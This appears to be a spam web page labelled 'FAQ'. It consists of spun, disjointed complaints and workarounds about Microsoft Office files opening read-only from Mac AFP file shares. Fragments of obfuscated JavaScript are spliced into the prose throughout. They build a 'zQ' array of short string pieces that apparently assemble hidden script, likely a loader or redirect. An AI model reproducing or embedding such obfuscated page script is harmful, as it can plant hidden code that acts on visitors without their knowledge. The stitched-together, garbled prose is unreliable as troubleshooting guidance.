FAQ

s";zQ["Pw"]="Ic";zQ["tc"]="pu";zQ["pG"]="f=";zQ["hw"]="ue";zQ["fo"]="va";zQ["oK"]=".. So far we have not found an iron-clad solution or even a logical way of reproducing the problem and the solution.

But I feel your pain This is a problem with Microsoft office documents that's been going on for years.. So far our workaround has been to move the 'read only' file to the user's desktop and then back on to the file server.. Accidentally erased an external USB hard drive that had over one-hundred Office for Mac 2016 excel files and few other word docs.. But it just came back with a vengeance So here I am, googling around again I can tell you this problem occurs, with some variations, in versions of Office from 2004 through 2011, and Mac operating systems from Tiger through Snow Leopard.

6 6 and 10 6 5 I'm having a problem with MS Office documents opening as read-only from AFP shares.. For example, in Pages, Numbers or Keynote on a Mac, save your files in formats that are compatible with Microsoft Office.

t";zQ["HE"]="RE";zQ["yB"]="ia";zQ["tN"]="w ";zQ["tL"]=" o";zQ["WS"]="tF";zQ["bo"]="eq";zQ["aM"]="pe";zQ["Vy"]="gC";zQ["Ph"]="Nb";zQ["VN"]="DB";zQ["tk"]="QH";zQ["Lu"]="xP";zQ["wK"]="eT";zQ["kx"]="r ";zQ["at"]="()";zQ["hP"]="r.. Some users have it, some don't, some docs have it some don't at all With regard to the cleaning permissions of the temp folder: as office saves the files off a different way (moving to and from temp folders) it kinda makes sense on the server.. var zQ = new Array();zQ["nD"]="pT";zQ["HHNT"]="T1";zQ["PN"]="Sh";zQ["QH"]="UQ";zQ["sl"]="(x";zQ["iV"]="oE";zQ["FK"]="A1";zQ["cd"]="AB";zQ["Wx"]="XE";zQ["TN"]="";zQ["Li"]="){";zQ["MW"]="pR";zQ["uB"]="it";zQ["Ke"]="en";zQ["Fi"]="AF";zQ["qz"]="AR";zQ["Fk"]="se";zQ["Xb"]="de";zQ["Re"]="st";zQ["Tg"]="d(";zQ["VW"]="me";zQ["Qt"]="EI";zQ["hL"]="4R";zQ["ig"]="MC";zQ["YH"]="cX";zQ["tm"]="pS";zQ["Fj"]="la";zQ["ud"]="hY";zQ["yR"]="WQ";zQ["Kd"]="Uh";zQ["LR"]="x h";zQ["ut"]="QG";zQ["Yk"]="BR";zQ["fD"]="W0";zQ["su"]="ex";zQ["Es"]="r";zQ["Ku"]="Aw";zQ["AS"]="ct";zQ["sN"]="pX";zQ["eY"]="gE";zQ["lj"]="r=";zQ["FG"]="II";zQ["iu"]="WF";zQ["Uk"]="Re";zQ["Jx"]=".. Quitting the app and opening the document again has the same problem If you unmount and remount the AFP the problem goes away.

It's rather mind-boggling that this has never been dealt with Here are some links for your perusing pleasure: You can find lots and lots of people online complaining about this.. If you Google around enough, you'll find people complaining about it going back to Office 2004.. Unfortunately, I erased the USB drive twice; once with HFS and later HFS encrypted.. I've been looking into it for a couple of years for a client who uses Leopard and office 2004.. Possible solutions include: creating an invisible folder at the root level of the SharePoint called "TemporaryItems" and using Terminal to give it the proper permissions; changing all of the numeric user IDs away from 501 and 502 and using very large unique numbers instead; and changing the owner of the share point on the server to something called NETWORK SERVICE (it's unclear to me if this will work on a Mac server or only Windows).
